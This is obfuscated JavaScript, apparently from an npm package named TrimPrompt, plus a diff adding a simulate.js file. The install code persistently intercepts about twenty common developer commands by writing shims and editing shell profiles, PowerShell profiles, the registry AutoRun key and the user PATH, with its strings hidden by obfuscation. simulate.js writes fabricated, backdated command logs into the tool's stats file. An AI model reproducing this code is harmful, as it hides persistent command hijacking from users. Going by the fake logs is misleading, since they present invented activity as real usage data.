_0x5c27e2[_0x2a0d19];}}),Object[_0x3ec59b(0xc3)](_0x58d199,_0x46627a,_0x26d782);}:function(_0x598920,_0x250104,_0x2bada3,_0x39f544){if(_0x39f544===undefined)_0x39f544=_0x2bada3;_0x598920[_0x39f544]=_0x250104[_0x2bada3];}),__setModuleDefault=this&&this[a0_0x4fa91a(0x10e)]||(Object['create']?function(_0x292353,_0x4dfba9){const _0x29682b=a0_0x4fa91a;Object[_0x29682b(0xc3)](_0x292353,'default',{'enumerable':!![],'value':_0x4dfba9});}:function(_0x4d8e01,_0x2d00d1){const _0x417bf3=a0_0x4fa91a;_0x4d8e01[_0x417bf3(0x102)]=_0x2d00d1;}),__importStar=this&&this[a0_0x4fa91a(0xf3)]||(function(){var _0x9596b3=function(_0xd381ad){const _0x2bf15d=a0_0x5cf8;return _0x9596b3=Object[_0x2bf15d(0xd8)]||function(_0x1b8b15){const _0x3977e2=_0x2bf15d;var _0x4e1863=[];for(var _0x54aafb in _0x1b8b15)if(Object['prototype'][_0x3977e2(0x119)][_0x3977e2(0xfd)](_0x1b8b15,_0x54aafb))_0x4e1863[_0x4e1863['length']]=_0x54aafb;return _0x4e1863;},_0x9596b3(_0xd381ad);};return function(_0x18aca8){const _0x1fa92a=a0_0x5cf8;if(_0x18aca8&&_0x18aca8[_0x1fa92a(0xec)])return _0x18aca8;var _0x36e18a={};if(_0x18aca8!=null){for(var _0x1b73fa=_0x9596b3(_0x18aca8),_0x5d3c0a=0x0;_0x5d3c0a<_0x1b73fa[_0x1fa92a(0x103)];_0x5d3c0a++)if(_0x1b73fa[_0x5d3c0a]!==_0x1fa92a(0x102))__createBinding(_0x36e18a,_0x18aca8,_0x1b73fa[_0x5d3c0a]);}return __setModuleDefault(_0x36e18a,_0x18aca8),_0x36e18a;};}());Object[a0_0x4fa91a(0xc3)](exports,a0_0x4fa91a(0xec),{'value':!![]}),exports[a0_0x4fa91a(0x10b)]=installShims,exports[a0_0x4fa91a(0x10f)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4fa91a(0xd5))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x4fa91a(0xf4),a0_0x4fa91a(0xef),a0_0x4fa91a(0xdb),a0_0x4fa91a(0xe2),'rg',a0_0x4fa91a(0x132),a0_0x4fa91a(0x11e),'gh',a0_0x4fa91a(0x114),'cargo',a0_0x4fa91a(0x117),a0_0x4fa91a(0xe4),a0_0x4fa91a(0xfb),a0_0x4fa91a(0xcf),a0_0x4fa91a(0xc1),a0_0x4fa91a(0x133),'pytest',a0_0x4fa91a(0xc6),a0_0x4fa91a(0x10d),'go'],PROFILE_MARKER=a0_0x4fa91a(0xff);function getExecSync(){const _0x12d1db=a0_0x4fa91a;return require('child_process')[_0x12d1db(0x105)];}function getExecFileSync(){const _0x53592b=a0_0x4fa91a;return require(_0x53592b(0xd2))['execFileSync'];}function ensureProfileContains(_0x2ab07b,_0x461bd4,_0x547716){const _0x286c4f=a0_0x4fa91a;try{const _0xcd1b3d=path[_0x286c4f(0x12a)](_0x2ab07b);!fs[_0x286c4f(0xe8)](_0xcd1b3d)&&fs[_0x286c4f(0x125)](_0xcd1b3d,{'recursive':!![]});if(fs[_0x286c4f(0xe8)](_0x2ab07b)){const _0x298e1f=fs[_0x286c4f(0x120)](_0x2ab07b,_0x286c4f(0x12b));if(_0x298e1f[_0x286c4f(0xc8)](_0x461bd4))return;fs[_0x286c4f(0x112)](_0x2ab07b,_0x547716,_0x286c4f(0x12b));}else fs[_0x286c4f(0x107)](_0x2ab07b,_0x547716,_0x286c4f(0x12b));}catch{}}function removeProfileBlock(_0x166da5,_0x576188){const _0x5eedf0=a0_0x4fa91a;try{if(!fs['existsSync'](_0x166da5))return;const _0x3e6413=fs[_0x5eedf0(0x120)](_0x166da5,'utf8');if(!_0x3e6413[_0x5eedf0(0xc8)](_0x576188))return;const _0x1934f6=_0x3e6413[_0x5eedf0(0xed)]('\x0a'),_0x16e739=[];let _0x1f179d=![];for(let _0x23f861=0x0;_0x23f861<_0x1934f6[_0x5eedf0(0x103)];_0x23f861++){if(_0x1934f6[_0x23f861][_0x5eedf0(0xc8)](_0x576188)){_0x1f179d=!![];continue;}if(_0x1f179d){_0x1f179d=![];continue;}_0x16e739['push'](_0x1934f6[_0x23f861]);}const _0x20f78e=_0x16e739[_0x5eedf0(0x118)]('\x0a')[_0x5eedf0(0x116)](/\n{3,}/g,'\x0a\x0a');fs[_0x5eedf0(0x107)](_0x166da5,_0x20f78e,_0x5eedf0(0x12b));}catch{}}function collectPowerShellProfiles(){const _0x418da9=a0_0x4fa91a,_0x4cb0e5=getExecSync(),_0x2fb6c1=[],_0x32f731=[[_0x418da9(0xe5),_0x418da9(0xc9)],[_0x418da9(0xe5),_0x418da9(0x129)]];try{_0x4cb0e5('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x418da9(0xcd)}),_0x32f731[_0x418da9(0x128)](['pwsh',_0x418da9(0x129)]);}catch{}for(const [_0x2ef6bf,_0x44b724]of _0x32f731){try{const _0x23107e=_0x4cb0e5(_0x2ef6bf+_0x418da9(0xe7)+_0x44b724+'\x22',{'encoding':_0x418da9(0x12b)})[_0x418da9(0xde)]();_0x23107e&&!_0x2fb6c1[_0x418da9(0x101)](_0x2eb407=>_0x2eb407[_0x418da9(0x11c)]()===_0x23107e[_0x418da9(0x11c)]())&&_0x2fb6c1[_0x418da9(0x128)](_0x23107e);}catch{}}return _0x2fb6c1;}function getBashProfilesWindows(){const _0x554ae0=a0_0x4fa91a,_0x541233=os[_0x554ae0(0x106)]();return[_0x554ae0(0xca),_0x554ae0(0xd4)][_0x554ae0(0xc2)](_0x3ffbe5=>path[_0x554ae0(0x118)](_0x541233,_0x3ffbe5));}function getBroadcastCommand(){const _0x797a4=a0_0x4fa91a;return _0x797a4(0xe6);}function installShims(){const _0x4743da=a0_0x4fa91a,_0x3caca5=path['join'](os['homedir'](),'.trimprompt',_0x4743da(0xf7));try{!fs[_0x4743da(0xe8)](_0x3caca5)&&fs[_0x4743da(0x125)](_0x3caca5,{'recursive':!![]});const _0x21a10f=os[_0x4743da(0xe0)]()===_0x4743da(0xda);for(const _0x20c470 of SHIMMED_COMMANDS){if(_0x21a10f){const _0x418f0c=path[_0x4743da(0x118)](_0x3caca5,_0x20c470+_0x4743da(0x113));fs[_0x4743da(0x107)](_0x418f0c,'@echo\x20off\x0atrim\x20'+_0x20c470+_0x4743da(0xd0),'utf8');const _0x476cb4=path[_0x4743da(0x118)](_0x3caca5,_0x20c470+'.ps1');fs['writeFileSync'](_0x476cb4,_0x4743da(0x104)+_0x20c470+'\x20@args\x0a',_0x4743da(0x12b));const _0x32e798=path[_0x4743da(0x118)](_0x3caca5,_0x20c470);fs[_0x4743da(0x107)](_0x32e798,_0x4743da(0xc7)+_0x20c470+_0x4743da(0xeb),'utf8');}else{const _0x4a8546=path[_0x4743da(0x118)](_0x3caca5,_0x20c470);fs[_0x4743da(0x107)](_0x4a8546,_0x4743da(0xc7)+_0x20c470+'\x20\x22$@\x22\x0a',_0x4743da(0x12b)),fs['chmodSync'](_0x4a8546,_0x4743da(0xcb));}}let _0x2e4f6a=![],_0x34a84d='';if(_0x21a10f)try{const _0x270741=getExecSync(),_0x4b78c6=_0x4743da(0x121)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x3caca5+_0x4743da(0x12c),_0x97e383=collectPowerShellProfiles();for(const _0x93deb5 of _0x97e383){ensureProfileContains(_0x93deb5,_0x3caca5,_0x4b78c6);}try{const _0x16a1fc=getExecFileSync(),_0x3b8914=_0x4743da(0x131)+_0x3caca5+_0x4743da(0x11d)+_0x3caca5+_0x4743da(0xf1),_0x3f352a='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x3a9dd0='';try{const _0x2e6601=_0x4743da(0x109)+_0x3f352a+_0x4743da(0x127);_0x3a9dd0=_0x16a1fc('powershell.exe',[_0x4743da(0xfc),_0x4743da(0xcc),_0x2e6601],{'encoding':_0x4743da(0x12b),'stdio':[_0x4743da(0x126),_0x4743da(0x126),'ignore']})[_0x4743da(0xde)]();}catch{}if(!_0x3a9dd0[_0x4743da(0xc8)](_0x3caca5)){const _0x38d14c=_0x3a9dd0?_0x3a9dd0+_0x4743da(0xd6)+_0x3b8914:_0x3b8914,_0x131133=_0x4743da(0xc5)+_0x3f352a+_0x4743da(0x136)+_0x3f352a+_0x4743da(0x137)+_0x38d14c+'\x27';_0x16a1fc(_0x4743da(0x11b),[_0x4743da(0xfc),_0x4743da(0xcc),_0x131133],{'stdio':_0x4743da(0xcd)});}}catch{}try{const _0x2e628e=_0x3caca5[_0x4743da(0x116)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x14d263,_0x560390)=>'/'+_0x560390[_0x4743da(0x11c)]()),_0x165fb9=_0x4743da(0x121)+PROFILE_MARKER+_0x4743da(0x111)+_0x2e628e+_0x4743da(0x124),_0x554c11=getBashProfilesWindows();let _0x24f379=![];for(const _0x349450 of _0x554c11){fs[_0x4743da(0xe8)](_0x349450)&&(ensureProfileContains(_0x349450,_0x2e628e,_0x165fb9),_0x24f379=!![]);}!_0x24f379&&ensureProfileContains(_0x554c11[0x0],_0x2e628e,_0x165fb9);}catch{}const _0xc01ecb=_0x4743da(0xe1),_0x3dc764=_0x270741(_0x4743da(0xee)+_0xc01ecb+'\x22',{'encoding':_0x4743da(0x12b),'stdio':['pipe',_0x4743da(0x126),_0x4743da(0xcd)]})['trim']();if(!_0x3dc764[_0x4743da(0xc8)](_0x3caca5)){const _0x33dd08=_0x3caca5+';'+_0x3dc764,_0x55e101=_0x33dd08['replace'](/'/g,'\x27\x27'),_0x27ac2d=_0x4743da(0xea)+_0x55e101+_0x4743da(0x115);_0x270741('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27ac2d+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0xda6ada=path[_0x4743da(0x118)](process.env.APPDATA||'',_0x4743da(0x117),_0x4743da(0x12e));if(fs[_0x4743da(0xe8)](_0xda6ada))try{fs[_0x4743da(0xf6)](_0xda6ada);}catch{}_0x2e4f6a=!![];}catch(_0x217d16){_0x34a84d=_0x4743da(0xdd)+_0x3caca5;}else try{const _0x267850=_0x4743da(0x123)+_0x3caca5+_0x4743da(0x124),_0x2db5c2=os[_0x4743da(0x106)](),_0x102d66=[_0x4743da(0xca),_0x4743da(0xdc),_0x4743da(0xd4),_0x4743da(0x138)];let _0x58c82a=![];for(const _0x3a9380 of _0x102d66){const _0x92c270=path[_0x4743da(0x118)](_0x2db5c2,_0x3a9380);fs[_0x4743da(0xe8)](_0x92c270)&&(ensureProfileContains(_0x92c270,_0x3caca5,_0x4743da(0x121)+PROFILE_MARKER+'\x0a'+_0x267850),_0x58c82a=!![]);}if(!_0x58c82a){const _0x331251=path[_0x4743da(0x118)](_0x2db5c2,_0x4743da(0xca));ensureProfileContains(_0x331251,_0x3caca5,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x267850);}_0x2e4f6a=!![];}catch(_0x4603a5){_0x34a84d='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x3caca5+':$PATH\x22';}const _0x1c3074=_0x4743da(0xf2)+SHIMMED_COMMANDS[_0x4743da(0x103)]+'\x20commands.\x0a\x0a',_0x4176e7=_0x2e4f6a?_0x1c3074+_0x4743da(0x11f):_0x1c3074+_0x4743da(0xc4)+_0x34a84d;return{'success':!![],'pathDir':_0x3caca5,'message':_0x4176e7};}catch(_0x3ba15d){return{'success':![],'pathDir':_0x3caca5,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x3ba15d[_0x4743da(0xd9)]};}}function a0_0x5cf8(_0xd7da1e,_0x4192c4){_0xd7da1e=_0xd7da1e-0xc1;const _0x1de8fd=a0_0x1de8();let _0x5cf896=_0x1de8fd[_0xd7da1e];return _0x5cf896;}function uninstallShims(){const _0xf13883=a0_0x4fa91a,_0x2ed28e=path[_0xf13883(0x118)](os[_0xf13883(0x106)](),_0xf13883(0x134),'shims'),_0x5d2c7b=os[_0xf13883(0xe0)]()===_0xf13883(0xda);try{if(_0x5d2c7b){const _0x4c4dfe=getExecSync();try{const _0x56dd15=getExecFileSync(),_0x2fa8f7=_0xf13883(0x110),_0xe080=_0xf13883(0x109)+_0x2fa8f7+_0xf13883(0x127),_0x2f5dff=_0x56dd15(_0xf13883(0x11b),['-NoProfile',_0xf13883(0xcc),_0xe080],{'encoding':_0xf13883(0x12b),'stdio':[_0xf13883(0x126),_0xf13883(0x126),_0xf13883(0xcd)]})[_0xf13883(0xde)]();if(_0x2f5dff[_0xf13883(0xc8)](_0x2ed28e)){const _0x1301a8=_0x2f5dff[_0xf13883(0xed)](_0xf13883(0xd6))[_0xf13883(0x10a)](_0x51f0c1=>!_0x51f0c1['includes'](_0x2ed28e));if(_0x1301a8[_0xf13883(0x103)]===0x0){const _0x2e3488=_0xf13883(0x10c)+_0x2fa8f7+_0xf13883(0xdf);_0x56dd15(_0xf13883(0x11b),[_0xf13883(0xfc),'-Command',_0x2e3488],{'stdio':'ignore'});}else{const _0x5e4c4c=_0x1301a8['join'](_0xf13883(0xd6)),_0x185524=_0xf13883(0x130)+_0x2fa8f7+_0xf13883(0x137)+_0x5e4c4c+'\x27';_0x56dd15(_0xf13883(0x11b),['-NoProfile','-Command',_0x185524],{'stdio':'ignore'});}}}catch{}try{const _0x2df8c3=collectPowerShellProfiles();for(const _0x12582f of _0x2df8c3){removeProfileBlock(_0x12582f,PROFILE_MARKER);}}catch{}try{for(const _0x58758b of getBashProfilesWindows()){removeProfileBlock(_0x58758b,PROFILE_MARKER);}}catch{}try{const _0x4519a4=_0xf13883(0xe1),_0x29057a=_0x4c4dfe(_0xf13883(0xee)+_0x4519a4+'\x22',{'encoding':_0xf13883(0x12b),'stdio':[_0xf13883(0x126),_0xf13883(0x126),'ignore']})[_0xf13883(0xde)]();if(_0x29057a[_0xf13883(0xc8)](_0x2ed28e)){const _0x32cd8d=_0x29057a[_0xf13883(0xed)](';')['filter'](_0x2d4f86=>_0x2d4f86[_0xf13883(0xde)]()[_0xf13883(0x11c)]()!==_0x2ed28e[_0xf13883(0x11c)]())['join'](';'),_0x3d1d74=_0x32cd8d[_0xf13883(0x116)](/'/g,'\x27\x27'),_0x277a08=_0xf13883(0xea)+_0x3d1d74+_0xf13883(0x115);_0x4c4dfe(_0xf13883(0xee)+_0x277a08+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0xf13883(0xcd)});}}catch{}}else{const _0x41eab4=os[_0xf13883(0x106)](),_0x934275=['.bashrc',_0xf13883(0xdc),_0xf13883(0xd4),_0xf13883(0x138)];for(const _0x37da22 of _0x934275){removeProfileBlock(path[_0xf13883(0x118)](_0x41eab4,_0x37da22),PROFILE_MARKER);}}if(fs[_0xf13883(0xe8)](_0x2ed28e)){const _0x2f443a=fs['readdirSync'](_0x2ed28e);for(const _0x304a5f of _0x2f443a){fs[_0xf13883(0xf6)](path[_0xf13883(0x118)](_0x2ed28e,_0x304a5f));}fs[_0xf13883(0xf9)](_0x2ed28e);}return{'success':!![],'message':_0xf13883(0x108)};}catch(_0x924be3){return{'success':![],'message':_0xf13883(0x135)+_0x924be3[_0xf13883(0xd9)]};}}function a0_0x1de8(){const _0x339e87=['utf8',';\x22\x20+\x20$env:PATH\x0a','configurable','trim.ps1','1YRChmM','Set-ItemProperty\x20-Path\x20\x27','if\x20exist\x20\x22','ruff','docker','.trimprompt','Failed\x20to\x20uninstall\x20shims:\x20','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.profile','kubectl','map','defineProperty','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','New-Item\x20-Path\x20\x27','pip','#!/bin/sh\x0aexec\x20trim\x20','includes','$PROFILE.CurrentUserCurrentHost','.bashrc','755','-Command','ignore','114196grQBzO','yarn','\x20%*\x0a','get','child_process','190350pmSbMh','.bash_profile','path','\x20&\x20','12RyuUIZ','getOwnPropertyNames','message','win32','read','.zshrc','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','trim','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','platform','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','grep','writable','pnpm','powershell','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','\x20-NoProfile\x20-Command\x20\x22','existsSync','622730DRuJKZ','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','__esModule','split','powershell\x20-NoProfile\x20-Command\x20\x22','cat','300uCKAtC',';%PATH%\x22','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__importStar','tree','1138784Ulrmwl','unlinkSync','shims','__createBinding','rmdirSync','505526oKyxlP','npx','-NoProfile','call','818154oMwRaI','TrimPrompt\x20Shims\x20PATH','1991633Mlfccn','some','default','length','&\x20trim\x20','execSync','homedir','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','filter','installShims','Remove-ItemProperty\x20-Path\x20\x27','pip3','__setModuleDefault','uninstallShims','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x0aexport\x20PATH=\x22','appendFileSync','.cmd','glab','\x27,\x20\x27User\x27)','replace','npm','join','hasOwnProperty','create','powershell.exe','toLowerCase','\x22\x20set\x20\x22PATH=','git','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','readFileSync','\x0a#\x20','getOwnPropertyDescriptor','export\x20PATH=\x22',':$PATH\x22\x0a','mkdirSync','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','push','$PROFILE.CurrentUserAllHosts','dirname'];a0_0x1de8=function(){return _0x339e87;};return a0_0x1de8();}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x38ac(){const _0xf0dc41=['log','351117GhdJyG','now','10kWlYsx','__esModule','npm\x20run\x20lint:\x20✖\x202\x20warnings','raw','gpt-4o','tracker','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','length','./tracker','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','claude-3-5-sonnet','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','floor','test\x20tests::test_case_','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','656XFOpzq','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','homedir','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','env','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','1891278bookQv','getLogs','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','writeFileSync','gemini-1-5-flash','defineProperty','timestamp','npm\x20install\x20lodash\x20express\x20uuid\x20react','claude-3-opus','path','4NdxVKX','gpt-4o-mini','utf8','stats.json','exitCode','git\x20log\x20-n\x205','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','repeat','git\x20diff\x20main','found\x200\x20vulnerabilities\x0a','222970SwoTfp','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','logExecution','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','toISOString','cargo\x20test','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','1023738TSKRKy','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','10ohqDou','55vwmsxk','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','13875tweoeq','random','3276kklqLE','Completed\x203\x20of\x203\x20assets\x20successfully.','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','782760VOnghP'];a0_0x38ac=function(){return _0xf0dc41;};return a0_0x38ac();}const a0_0x5df326=a0_0x34ee;(function(_0x519e10,_0x43a5ef){const _0x20e7fa=a0_0x34ee,_0x9db0c2=_0x519e10();while(!![]){try{const _0xb7b071=parseInt(_0x20e7fa(0xa8))/0x1*(-parseInt(_0x20e7fa(0xa5))/0x2)+-parseInt(_0x20e7fa(0x6a))/0x3+parseInt(_0x20e7fa(0x8f))/0x4*(parseInt(_0x20e7fa(0x9a))/0x5)+-parseInt(_0x20e7fa(0xa3))/0x6+-parseInt(_0x20e7fa(0xaa))/0x7*(parseInt(_0x20e7fa(0x7b))/0x8)+parseInt(_0x20e7fa(0x85))/0x9*(parseInt(_0x20e7fa(0x6c))/0xa)+-parseInt(_0x20e7fa(0xa6))/0xb*(-parseInt(_0x20e7fa(0x68))/0xc);if(_0xb7b071===_0x43a5ef)break;else _0x9db0c2['push'](_0x9db0c2['shift']());}catch(_0x2a133d){_0x9db0c2['push'](_0x9db0c2['shift']());}}}(a0_0x38ac,0x2d481));Object[a0_0x5df326(0x8a)](exports,a0_0x5df326(0x6d),{'value':!![]});const tracker_1=require(a0_0x5df326(0x74));console[a0_0x5df326(0x69)](a0_0x5df326(0x9d));const models=[a0_0x5df326(0x76),a0_0x5df326(0x70),a0_0x5df326(0x90),'gemini-1-5-pro',a0_0x5df326(0x89),a0_0x5df326(0x8d)],commands=[{'cmd':a0_0x5df326(0x98),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x5df326(0x97)](0x32),'comp':a0_0x5df326(0x75),'exitCode':0x0},{'cmd':a0_0x5df326(0x9f),'raw':a0_0x5df326(0x65)+a0_0x5df326(0x79)[a0_0x5df326(0x97)](0x28)+a0_0x5df326(0xa4),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x5df326(0x8c),'raw':a0_0x5df326(0x96)+a0_0x5df326(0x80)+a0_0x5df326(0x99),'comp':a0_0x5df326(0x77),'exitCode':0x0},{'cmd':a0_0x5df326(0xa0),'raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x5df326(0x7d)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x5df326(0x64),'comp':a0_0x5df326(0xa2),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x5df326(0x95)+a0_0x5df326(0x7f)+a0_0x5df326(0x66)+a0_0x5df326(0x67)+a0_0x5df326(0xa7),'comp':a0_0x5df326(0x82),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x5df326(0xa1)+a0_0x5df326(0x84)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5df326(0x7c),'exitCode':0x0},{'cmd':a0_0x5df326(0x94),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x5df326(0x7a),'comp':a0_0x5df326(0x9b),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x5df326(0x87)+a0_0x5df326(0x83)+a0_0x5df326(0x72),'comp':a0_0x5df326(0x6e),'exitCode':0x0}],startTime=Date[a0_0x5df326(0x6b)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x5df326(0x73)]],commandItem=commands[Math[a0_0x5df326(0x78)](Math[a0_0x5df326(0xa9)]()*commands[a0_0x5df326(0x73)])];process[a0_0x5df326(0x81)]['TRIMPROMPT_MODEL']=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5df326(0x9e)](),log=tracker_1[a0_0x5df326(0x71)][a0_0x5df326(0x9c)](commandItem['cmd'],commandItem[a0_0x5df326(0x6f)],commandItem['comp'],commandItem[a0_0x5df326(0x93)]),logs=tracker_1[a0_0x5df326(0x71)][a0_0x5df326(0x86)]();logs[a0_0x5df326(0x73)]>0x0&&(logs[logs['length']-0x1][a0_0x5df326(0x8b)]=timestamp,require('fs')[a0_0x5df326(0x88)](require(a0_0x5df326(0x8e))['join'](require('os')[a0_0x5df326(0x7e)](),'.trimprompt',a0_0x5df326(0x92)),JSON['stringify'](logs,null,0x2),a0_0x5df326(0x91)));}function a0_0x34ee(_0x4b8e64,_0x14cbc2){const _0x38ac6b=a0_0x38ac();return a0_0x34ee=function(_0x34ee37,_0x447894){_0x34ee37=_0x34ee37-0x64;let _0x43990d=_0x38ac6b[_0x34ee37];return _0x43990d;},a0_0x34ee(_0x4b8e64,_0x14cbc2);}console[a0_0x5df326(0x69)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
1
